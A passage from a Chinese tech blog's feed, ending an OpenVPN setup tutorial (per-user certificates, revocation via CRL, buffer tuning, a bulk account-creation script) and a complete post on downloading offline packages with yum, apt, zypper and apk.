&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;2.创建客户端配置文件&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;plain&quot; class=&quot;language-plain &quot;&gt;&lt;code class=&quot;language-plain&quot; data-lang=&quot;plain&quot;&gt;[root@openvpn 3]$cd ~&amp;#x2F;vpn-client&amp;#x2F;

[root@openvpn vpn-client]$vim client.ovpn

client
dev tun
proto udp
remote xx.xx.xx.xx 1194  #客户端远程拨号公司出口公网IP地址
resolv-retry infinite
redirect-gateway
nobind
persist-key
persist-tun
ca ca.crt
cert client.crt
key client.key
comp-lzo
verb 3
sndbuf 393216  #关于sndbuf和rcvbuf参数,请参考另一篇笔记
rcvbuf 393216

[root@openvpn vpn-client]$ls
ca.crt  client.crt  client.key  client.ovpn
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;3.打包配置文件.下载到本地,并且拷贝到客户端&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;plain&quot; class=&quot;language-plain &quot;&gt;&lt;code class=&quot;language-plain&quot; data-lang=&quot;plain&quot;&gt;[root@openvpn ~]$tar -cvf vpnclient.tar vpn-client
vpn-client&amp;#x2F;
vpn-client&amp;#x2F;ca.crt
vpn-client&amp;#x2F;client.crt
vpn-client&amp;#x2F;client.key
vpn-client&amp;#x2F;client.ovpn
vpn-client&amp;#x2F;vpnclient.tar
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;十七.修改出口设备的NAT转发&lt;&#x2F;p&gt;
&lt;p&gt;在出口设备上增加一条NAT转发规则.注意是UDP协议转发.转发1194端口到Openvpn服务器的1194端口&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;p&gt;至此配置完成..接下来使用openvpn客户端拨号&lt;&#x2F;p&gt;
&lt;p&gt;推荐VPN客户端软件 Windows: OpenVPN &amp;amp;&amp;amp; Mac：Tunnelblick&lt;&#x2F;p&gt;
&lt;p&gt;如果是windows,安装完以后把服务器上配置的客户端秘钥,配置文件拷贝到openvpn安装路径的config路径下&lt;&#x2F;p&gt;
&lt;p&gt;如果是MAC,安装完成后把ovpn配置文件拖拽到Tunnelblick软件界面即可&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;di-er-bu-fen-duo-zhang-hao-shi-yong-openvpn&quot;&gt;第二部分: 多账号使用Openvpn&lt;&#x2F;h2&gt;
&lt;p&gt;一个比较懒散的做法是像刚才的教程一样,所有人都使用同一个秘钥账号连接Openvpn.但是公司里如果所有人都使用一个秘钥的话,人员离职后,仍然可以使用该秘钥通过Openvpn访问公司内网,非常不安全.
而此时重新创建秘钥则又”前一发动全身”,意味着每个人都要更新VPN秘钥.非常复杂.&lt;&#x2F;p&gt;
&lt;p&gt;此时就需要对于每个用户创建并注销单独的秘钥.接下来的教程演示如何实现这一功能&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;h4 id=&quot;yi-chuang-jian-duo-ge-ke-hu-duan-zhang-hu&quot;&gt;一.创建多个客户端账户&lt;&#x2F;h4&gt;
&lt;p&gt;创建客户端账户步骤和刚才教程一模一样&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;1.修改server.conf配置文件,注释duplicate-cn参数&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;plain&quot; class=&quot;language-plain &quot;&gt;&lt;code class=&quot;language-plain&quot; data-lang=&quot;plain&quot;&gt;[root@openvpn openvpn]$vim server.conf

# Uncomment this directive if multiple clients
# might connect with the same certificate&amp;#x2F;key
# files or common names.  This is recommended
# only for testing purposes.  For production use,
# each client should have its own certificate&amp;#x2F;key
# pair.
#
# IF YOU HAVE NOT GENERATED INDIVIDUAL
# CERTIFICATE&amp;#x2F;KEY PAIRS FOR EACH CLIENT,
# EACH HAVING ITS OWN UNIQUE &amp;quot;COMMON NAME&amp;quot;,
# UNCOMMENT THIS LINE OUT.
;duplicate-cn
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;blockquote&gt;
&lt;p&gt;Note: 注释这个参数就表示每个客户端秘钥账户就只能同时一个人使用,如果多个人同时同一个账户会挤掉前面已经连接上的vpn的用户:&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;下面是故障出现时,服务器Openvpn日志的报错:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;plain&quot; class=&quot;language-plain &quot;&gt;&lt;code class=&quot;language-plain&quot; data-lang=&quot;plain&quot;&gt;Sat Jun 16 01:08:56 2018 10.0.99.1:29167 [dwdtech] Peer Connection Initiated with

Sat Jun 16 01:08:56 2018 MULTI: new connection by client &amp;#x27;dwdtech&amp;#x27; will cause previous active sessions by this client to be dropped.  Remember to use the --duplicate-cn option if you want multiple clients using the same certificate or username to concurrently connect.
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;2.创建另外一个客户端秘钥&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;plain&quot; class=&quot;language-plain &quot;&gt;&lt;code class=&quot;language-plain&quot; data-lang=&quot;plain&quot;&gt;[root@openvpn 3]$.&amp;#x2F;easyrsa build-client-full test nopass
Generating a 2048 bit RSA private key
..........+++
....................+++
writing new private key to &amp;#x27;&amp;#x2F;etc&amp;#x2F;openvpn&amp;#x2F;easy-rsa&amp;#x2F;3&amp;#x2F;pki&amp;#x2F;private&amp;#x2F;test.key.VGKwuGH2p6&amp;#x27;
-----
Using configuration from .&amp;#x2F;openssl-1.0.cnf
Check that the request matches the signature
Signature ok
The Subject&amp;#x27;s Distinguished Name is as follows
commonName            :ASN.1 12:&amp;#x27;test&amp;#x27;
Certificate is to be certified until Jun 12 06:33:21 2028 GMT (3650 days)

Write out database with 1 new entries
Data Base Updated
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;此时就创建了多个客户端秘钥&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;h4 id=&quot;er-zhu-xiao-ke-hu-duan-zhang-hu&quot;&gt;二.注销客户端账户&lt;&#x2F;h4&gt;
&lt;p&gt;这里以刚才的test账户为例&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;1.删除该客户端秘钥&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;plain&quot; class=&quot;language-plain &quot;&gt;&lt;code class=&quot;language-plain&quot; data-lang=&quot;plain&quot;&gt;[root@openvpn 3]$.&amp;#x2F;easyrsa revoke test

Please confirm you wish to revoke the certificate with the following subject:

subject=
    commonName                = test

Type the word &amp;#x27;yes&amp;#x27; to continue, or any other input to abort.
  Continue with revocation: yes
Using configuration from .&amp;#x2F;openssl-1.0.cnf
Revoking Certificate D6A90A078F182F97CBB3C37172DFFFC7.
Data Base Updated

IMPORTANT!!!

Revocation was successful. You must run gen-crl and upload a CRL to your
infrastructure in order to prevent the revoked cert from being accepted.
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;2.按照提示,生成crl文件&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;plain&quot; class=&quot;language-plain &quot;&gt;&lt;code class=&quot;language-plain&quot; data-lang=&quot;plain&quot;&gt;[root@openvpn 3]$.&amp;#x2F;easyrsa gen-crl
Using configuration from .&amp;#x2F;openssl-1.0.cnf

An updated CRL has been created.
CRL file: &amp;#x2F;etc&amp;#x2F;openvpn&amp;#x2F;easy-rsa&amp;#x2F;3&amp;#x2F;pki&amp;#x2F;crl.pem
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;3.复制crl.pem文件到OpenVpn根目录下&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;plain&quot; class=&quot;language-plain &quot;&gt;&lt;code class=&quot;language-plain&quot; data-lang=&quot;plain&quot;&gt;[root@openvpn 3]$cp pki&amp;#x2F;crl.pem &amp;#x2F;etc&amp;#x2F;openvpn&amp;#x2F;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;4.添加配置到server.conf配置文件,开启crl验证功能,并且制定crl文件路径.crl文件可以用绝对路径也可以用相对路径&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;添加下面这一行到server.conf配置文件&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;plain&quot; class=&quot;language-plain &quot;&gt;&lt;code class=&quot;language-plain&quot; data-lang=&quot;plain&quot;&gt;[root@openvpn openvpn]$tail -1 server.conf
crl-verify &amp;#x2F;etc&amp;#x2F;openvpn&amp;#x2F;crl.pem
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;使用下面命令可以检查crl.pem文件查看被注销的账户信息&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;plain&quot; class=&quot;language-plain &quot;&gt;&lt;code class=&quot;language-plain&quot; data-lang=&quot;plain&quot;&gt;[root@openvpn openvpn]$openssl crl -in &amp;#x2F;etc&amp;#x2F;openvpn&amp;#x2F;crl.pem -text -noout
Certificate Revocation List (CRL):
        Version 2 (0x1)
    Signature Algorithm: sha256WithRSAEncryption
        Issuer: &amp;#x2F;CN=dwd
        Last Update: Jun 15 06:53:38 2018 GMT
        Next Update: Dec 12 06:53:38 2018 GMT
        CRL extensions:
            X509v3 Authority Key Identifier:
                keyid:87:B0:CC:51:14:B2:0D:C3:75:75:D1:9C:AB:0D:2E:3C:D8:F7:05:8D
                DirName:&amp;#x2F;CN=dwd
                serial:8F:2C:45:27:E1:42:46:D3

Revoked Certificates:
    Serial Number: D6A90A078F182F97CBB3C37172DFFFC7
        Revocation Date: Jun 15 06:53:07 2018 GMT
    Signature Algorithm: sha256WithRSAEncryption
         be:59:e5:14:06:a9:5c:cd:41:60:1c:e2:81:db:a0:47:2c:75:
         9d:0f:75:14:6b:fc:ff:f2:3f:51:8b:f6:c5:d4:cf:1b:13:41:
         24:2f:94:fb:29:e9:a9:2d:fd:5f:b3:c0:af:42:95:65:a4:00:
         44:55:bd:b4:61:26:64:4b:d0:51:49:02:94:cd:d0:71:98:99:
         5d:2a:a1:b4:a1:01:2e:9c:2e:dc:f9:44:5f:23:c9:6c:56:47:
         df:35:e2:9f:05:3d:98:6b:80:61:ce:36:be:01:df:18:22:36:
         c6:fe:14:bf:aa:55:de:2b:ca:9c:17:03:49:60:47:0f:7d:e2:
         f4:c2:75:41:9e:54:88:49:ce:29:c6:4d:79:db:68:ed:46:64:
         3f:98:19:c7:72:73:c1:1a:69:03:9e:a2:57:43:04:61:fa:94:
         43:18:24:fc:5b:3b:62:e6:4e:5e:be:28:b5:dd:ea:16:cc:47:
         2e:62:86:15:cb:ff:4f:1a:a1:e6:40:9f:7e:11:00:3b:b4:41:
         1b:1a:13:cd:24:ce:83:34:88:2f:c8:05:b3:0f:af:f7:6a:c8:
         be:71:08:92:e5:26:64:ae:7b:92:52:b3:3c:02:3d:cd:1a:d7:
         bd:f2:7a:93:02:73:5f:7e:3a:94:74:ab:ff:49:1e:d1:b0:f9:
         c3:88:b5:6c
[root@openvpn openvpn]$
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;在pki目录下.有一个index.txt文件.此文件列举了活跃的和已经注销的客户端证书信息:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;plain&quot; class=&quot;language-plain &quot;&gt;&lt;code class=&quot;language-plain&quot; data-lang=&quot;plain&quot;&gt;cd &amp;#x2F;etc&amp;#x2F;openvpn&amp;#x2F;easy-rsa&amp;#x2F;3&amp;#x2F;pki

[root@openvpn pki]$cat index.txt
V	280528085719Z		9BF6331DD9E82F354F8E5867591E15BC	unknown	&amp;#x2F;CN=openvpn
V	280528090305Z		AC3AB23DB02135A37CFB20B158813BF1	unknown	&amp;#x2F;CN=dwdtech
R	280612063321Z	180615065307Z	D6A90A078F182F97CBB3C37172DFFFC7	unknown	&amp;#x2F;CN=test
V	280612070037Z		E39E66223879C19CB521589A8F82246B	unknown	&amp;#x2F;CN=yongge
R	280629065514Z	180703015608Z	871C32C7042E841B625C34E57D526039	unknown	&amp;#x2F;CN=huangyong
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;blockquote&gt;
&lt;p&gt;第一个字母R表示已经注销的账户.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;此时,test客户端虽然有秘钥,但是无法拨入Openvpn.服务端的openvpn.log日志记录了这一行为:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;plain&quot; class=&quot;language-plain &quot;&gt;&lt;code class=&quot;language-plain&quot; data-lang=&quot;plain&quot;&gt;Tue Jul  3 02:23:47 2018 10.0.99.1:23273 VERIFY ERROR: depth=0, error=certificate revoked: CN=test
Tue Jul  3 02:23:47 2018 10.0.99.1:23273 OpenSSL: error:14089086:SSL routines:ssl3_get_client_certificate:certificate verify failed
Tue Jul  3 02:23:47 2018 10.0.99.1:23273 TLS_ERROR: BIO read tls_read_plaintext error
Tue Jul  3 02:23:47 2018 10.0.99.1:23273 TLS Error: TLS object -&amp;gt; incoming plaintext read error
Tue Jul  3 02:23:47 2018 10.0.99.1:23273 TLS Error: TLS handshake failed
Tue Jul  3 02:23:47 2018 10.0.99.1:23273 SIGUSR1[soft,tls-error] received, client-instance restarting
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;后续删除其他客户端账户,需要重复上面1-3步骤.&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;note:我在这里踩过很深的坑.如果需要注销多个账户时,会生成新的crl.pem文件.此时直接把新的crl.pem文件覆盖老的就可以,其他不用管.
请看我的stackoverflow的提问:&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;stackoverflow.com&#x2F;questions&#x2F;51146190&#x2F;how-to-revoke-multiple-openvpn-clients-certificate&quot;&gt;how to revoke multiple OpenVPN clients Certificate&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;hr &#x2F;&gt;
&lt;h3 id=&quot;di-san-bu-fen-openvpnjia-su&quot;&gt;第三部分.Openvpn加速&lt;&#x2F;h3&gt;
&lt;p&gt;这篇文档详细解释了为什么Openvpn拨号之后宽带速度很慢的原因
&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.lowendtalk.com&#x2F;discussion&#x2F;40099&#x2F;why-openvpn-is-so-slow-cool-story&quot;&gt;https:&#x2F;&#x2F;www.lowendtalk.com&#x2F;discussion&#x2F;40099&#x2F;why-openvpn-is-so-slow-cool-story&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h4 id=&quot;pei-zhi-bu-zou&quot;&gt;配置步骤:&lt;&#x2F;h4&gt;
&lt;p&gt;&lt;strong&gt;1.修改内核缓冲区参数&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;plain&quot; class=&quot;language-plain &quot;&gt;&lt;code class=&quot;language-plain&quot; data-lang=&quot;plain&quot;&gt;[root@openvpn ~]$vim &amp;#x2F;etc&amp;#x2F;sysctl.conf

net.core.rmem_default = 393216
net.core.wmem_default = 393216

[root@openvpn ~]$sysctl -p
net.ipv4.ip_forward = 1
net.core.rmem_default = 393216
net.core.wmem_default = 393216
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;2.修改Openvpn的配置文件,添加下面2个参数&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;plain&quot; class=&quot;language-plain &quot;&gt;&lt;code class=&quot;language-plain&quot; data-lang=&quot;plain&quot;&gt;[root@openvpn ~]$tail -2 &amp;#x2F;etc&amp;#x2F;openvpn&amp;#x2F;server.conf
sndbuf 393216
rcvbuf 393216
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;blockquote&gt;
&lt;p&gt;如果客户端文件已经下发给用户,无法手动修改,则继续在server.conf添加下面2个参数,将配置推送给客户端
push “sndbuf 393216”
push “rcvbuf 393216”&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;&lt;strong&gt;3.重启openvpn&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;plain&quot; class=&quot;language-plain &quot;&gt;&lt;code class=&quot;language-plain&quot; data-lang=&quot;plain&quot;&gt;[root@openvpn openvpn]$systemctl restart  openvpn@server.service
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;4.重新编辑客户端的ovpn配置文件,添加下面2个参数&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;plain&quot; class=&quot;language-plain &quot;&gt;&lt;code class=&quot;language-plain&quot; data-lang=&quot;plain&quot;&gt;[root@openvpn ~]$tail -2 vpn-client&amp;#x2F;client.ovpn
sndbuf 393216
rcvbuf 393216
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;5.将客户端配置文件重新下载到本地,拷贝到openvpn安装目录的conf目录下.重新拨号&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;h3 id=&quot;di-si-bu-fen-pi-liang-chuang-jian-openvpnke-hu-duan-zhang-hao&quot;&gt;第四部分 批量创建openvpn客户端账号&lt;&#x2F;h3&gt;
&lt;p&gt;每次手动创建客户端账号的工作太繁琐.于是写了一个脚本来进行批量化创建工作&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;脚本功能如下:&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;1.使用-f参数从文件中批量读取账户进行创建,也可以使用-u参数指定要创建的账户.&lt;&#x2F;p&gt;
&lt;p&gt;2.判断账户是否已经存在&lt;&#x2F;p&gt;
&lt;p&gt;3.创建完客户端证书和秘钥文件后,会自动创建客户端配置文件.&lt;&#x2F;p&gt;
&lt;p&gt;4.打包客户端所需要的文件到&#x2F;root目录下.&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;如果需要加入注销客户端账号的功能可以自行修改脚本,或者联系本人&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;pre data-lang=&quot;plain&quot; class=&quot;language-plain &quot;&gt;&lt;code class=&quot;language-plain&quot; data-lang=&quot;plain&quot;&gt;#!&amp;#x2F;bin&amp;#x2F;bash
#description:批量创建Openvpn的用户账户.可以指定创建单个vpn账号,也可以创建一个账号文件.批量从文件中读取账号来创建
#author:huangyong
#date:2018-07-02

#创建账户函数
function create_user () {

name=$1

vpnDir=&amp;quot;&amp;#x2F;etc&amp;#x2F;openvpn&amp;#x2F;easy-rsa&amp;#x2F;3&amp;quot;
homeDir=&amp;quot;&amp;#x2F;root&amp;#x2F;${name}&amp;quot;
cert=&amp;quot;${name}.crt&amp;quot;
key=&amp;quot;${name}.key&amp;quot;

# 判断账户是否已经创建过了,如果是,则直接返回到主程序
[ -f $vpnDir&amp;#x2F;pki&amp;#x2F;issued&amp;#x2F;${cert} ] &amp;amp;&amp;amp; echo &amp;quot;${name} is already existed &amp;quot; &amp;amp;&amp;amp; return 0

#进入到easyrsa目录下创建不带密码的VPN账户.这里必须要在想对目录内执行easyrsa命令
cd $vpnDir
.&amp;#x2F;easyrsa build-client-full ${name} nopass &amp;gt; &amp;#x2F;dev&amp;#x2F;null 2&amp;gt;&amp;amp;1

#如果创建账户失败,则退出整个程序
[ $? -ne 0 ] &amp;amp;&amp;amp; exit 1

#将创建的账户证书,秘钥文件拷贝到该用户的文件夹内
[ -d $homeDir ] || mkdir $homeDir
cp $vpnDir&amp;#x2F;pki&amp;#x2F;ca.crt $homeDir
cp $vpnDir&amp;#x2F;pki&amp;#x2F;issued&amp;#x2F;${cert} $homeDir
cp $vpnDir&amp;#x2F;pki&amp;#x2F;private&amp;#x2F;${key} $homeDir

# 创建客户端账户配置文件
cat &amp;gt; $homeDir&amp;#x2F;${name}.ovpn &amp;lt;&amp;lt; EOF
client
dev tun
proto udp
remote xx.xx.xx.xx 1194  #客户端远程拨号公司出口公网IP地址
resolv-retry infinite
redirect-gateway
nobind
persist-key
persist-tun
ca ca.crt
cert $cert
key $key
comp-lzo
verb 3

EOF

#打包账户文件
tar -C &amp;#x2F;root -cf ${homeDir}.tar ${homeDir} &amp;gt; &amp;#x2F;dev&amp;#x2F;null 2&amp;gt;&amp;amp;1

#删除账户文件夹
rm -rf ${homeDir}

}

# 检测用户是否输入了正确的选项

if ! ` echo $1 | grep &amp;#x27;-&amp;#x27; &amp;gt; &amp;#x2F;etc&amp;#x2F;null 2&amp;gt;&amp;amp;1 `;then
    echo &amp;quot;Usage $0 {-f filename contains a group of account name | -u specify an account }&amp;quot;
fi

# 读取用户输入的选项和参数
while getopts &amp;quot;f:u:&amp;quot; SWITCH;do

   case $SWITCH in

        f)
          #如果用户指定了一个账户文件,则判断用户输入的账号文件是否存在
          [ ! -f $OPTARG ] &amp;amp;&amp;amp; echo &amp;quot; the file doesn&amp;#x27;t exist&amp;quot; &amp;amp;&amp;amp; exit 1

          #读取文件,循环获取文件内的账号
          cat $OPTARG | while read line
             do
                 create_user $line  #调用函数
                 [ $? -ne 0 ] &amp;amp;&amp;amp; echo &amp;quot; something wrong&amp;quot; &amp;amp;&amp;amp; exit 1 || echo &amp;quot;create ${line} successfully&amp;quot;
          done
          ;;

       u)
         #将用户输入的用户名代入到函数
         create_user $OPTARG
         [ $? -ne 0 ] &amp;amp;&amp;amp; echo &amp;quot; something wrong&amp;quot; &amp;amp;&amp;amp; exit 1 || echo &amp;quot; create $OPTARG successfully&amp;quot;
         ;;

       *)
        echo &amp;quot;Usage $0 {-f filename contains a group of account name | -u specify an account }&amp;quot;
        ;;
  esac
done
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;例如从文件中批量创建账号:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;plain&quot; class=&quot;language-plain &quot;&gt;&lt;code class=&quot;language-plain&quot; data-lang=&quot;plain&quot;&gt;[root@openvpn ~]$.&amp;#x2F;createAccount.bak.sh -f name.txt
create VPN account successfully
create VPN account successfully
create VPN account successfully
create VPN account successfully
create VPN account successfully
create VPN account successfully
create VPN account successfully
create VPN account successfully
create VPN account successfully
create VPN account successfully
create VPN account successfully
create VPN account successfully
create VPN account successfully
create VPN account successfully
create VPN account successfully
create VPN account successfully
create VPN account successfully
create VPN account successfully
create VPN account successfully
create VPN account successfully
create VPN account successfully
create VPN account successfully
create VPN account successfully
create VPN account successfully
create VPN account successfully
create VPN account successfully
create VPN account successfully
create VPN account successfully
[root@openvpn ~]$
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>apt download下载离线安装包</title>
        <published>2025-10-23T13:29:40+08:00</published>
        <updated>2025-10-23T13:29:40+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2025/10/apt download下载离线安装包/"/>
        <id>https://vercel.juzhong.asia/2025/10/apt download下载离线安装包/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2025/10/apt download下载离线安装包/">&lt;h1 id=&quot;fang-an-yi-yum-apt-xia-zai-chi-xian-bao-tui-jian-xin-shou&quot;&gt;方案一：yum &#x2F; apt 下载离线包（推荐新手）&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;centos-rhel-xia-zai-rpm-bao&quot;&gt;CentOS &#x2F; RHEL（下载 rpm 包）&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 首先安装 yum-plugin-downloadonly 插件
yum install yum-plugin-downloadonly -y
# 使用下面命令下载指定的包及其依赖项
yum install --downloadonly 软件包名
# 例如：下载nginx
yum install --downloadonly nginx
# 默认下载路径
ll &amp;#x2F;var&amp;#x2F;cache&amp;#x2F;yum&amp;#x2F;x86_64&amp;#x2F;7&amp;#x2F;base&amp;#x2F;packages
ll &amp;#x2F;var&amp;#x2F;cache&amp;#x2F;yum&amp;#x2F;x86_64&amp;#x2F;7&amp;#x2F;epel&amp;#x2F;packages
# 指定下载路径（推荐）
yum install --downloadonly --downloaddir=&amp;#x2F;data&amp;#x2F;pkgs&amp;#x2F;nginx&amp;#x2F; nginx
# 参数解释
--downloadonly                          # 只下载包不安装
--downloaddir=&amp;#x2F;your&amp;#x2F;custom&amp;#x2F;path&amp;#x2F;        # 指定下载路径
# 查看下载后的包
ls &amp;#x2F;data&amp;#x2F;pkgs&amp;#x2F;nginx&amp;#x2F;
# centos-indexhtml-7-9.el7.centos.noarch.rpm
# gperftools-libs-2.6.1-1.el7.x86_64.rpm
# nginx-1.20.1-10.el7.x86_64.rpm
# nginx-filesystem-1.20.1-10.el7.noarch.rpm
# openssl11-libs-1.1.1k-7.el7.x86_64.rpm
# 打包传输到内网
cd &amp;#x2F;data&amp;#x2F;pkgs&amp;#x2F;
tar -czf nginx-offline.tar.gz nginx&amp;#x2F;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;nei-wang-ji-qi-an-zhuang&quot;&gt;========== 内网机器安装 ==========&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 解压后进入目录
tar -xzf nginx-offline.tar.gz
cd nginx&amp;#x2F;
# 方法1：使用rpm命令
rpm -ivh *.rpm
# 方法2：使用yum localinstall（推荐，自动处理依赖）
yum localinstall -y *.rpm
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;ubuntu-debian-xia-zai-deb-bao&quot;&gt;Ubuntu &#x2F; Debian（下载 deb 包）&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 下载deb包
apt --download-only install 软件包名
# 例如：下载nginx
apt --download-only install nginx
# 默认下载路径
ll &amp;#x2F;var&amp;#x2F;cache&amp;#x2F;apt&amp;#x2F;archives&amp;#x2F;
# 指定下载路径
mkdir -p &amp;#x2F;data&amp;#x2F;pkgs&amp;#x2F;nginx
apt -o dir::cache::archives=&amp;quot;&amp;#x2F;data&amp;#x2F;pkgs&amp;#x2F;nginx&amp;quot; install --download-only nginx
# 参数解释
--download-only                                    # 只下载包不安装
-o dir::cache::archives=&amp;quot;&amp;#x2F;your&amp;#x2F;custom&amp;#x2F;path&amp;quot;       # 指定下载路径
# 打包传输
cd &amp;#x2F;data&amp;#x2F;pkgs&amp;#x2F;
tar -czf nginx-offline.tar.gz nginx&amp;#x2F;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;nei-wang-ji-qi-an-zhuang-1&quot;&gt;========== 内网机器安装 ==========&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;tar -xzf nginx-offline.tar.gz
cd nginx&amp;#x2F;
# 安装所有deb包
dpkg -i *.deb
# 如果遇到依赖问题，执行
apt install -f
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;opensuse-suse-xia-zai-rpm-bao&quot;&gt;openSUSE &#x2F; SUSE（下载 rpm 包）&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 下载包及依赖
zypper install --download-only 软件包名
# 例如：下载nginx
zypper install --download-only nginx
# 默认下载路径
ll &amp;#x2F;var&amp;#x2F;cache&amp;#x2F;zypp&amp;#x2F;packages&amp;#x2F;
# 指定下载目录
zypper --pkg-cache-dir=&amp;#x2F;data&amp;#x2F;pkgs&amp;#x2F;nginx install --download-only nginx
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;nei-wang-ji-qi-an-zhuang-2&quot;&gt;========== 内网机器安装 ==========&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;cd &amp;#x2F;data&amp;#x2F;pkgs&amp;#x2F;nginx&amp;#x2F;
rpm -ivh *.rpm
# 或
zypper install --no-refresh *.rpm
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;alpine-linux-xia-zai-apk-bao&quot;&gt;Alpine Linux（下载 apk 包）&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 下载包到指定目录
apk fetch --recursive --output &amp;#x2F;data&amp;#x2F;pkgs&amp;#x2F;nginx&amp;#x2F; nginx
# 参数解释
--recursive    # 下载所有依赖
--output       # 指定输出目录
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
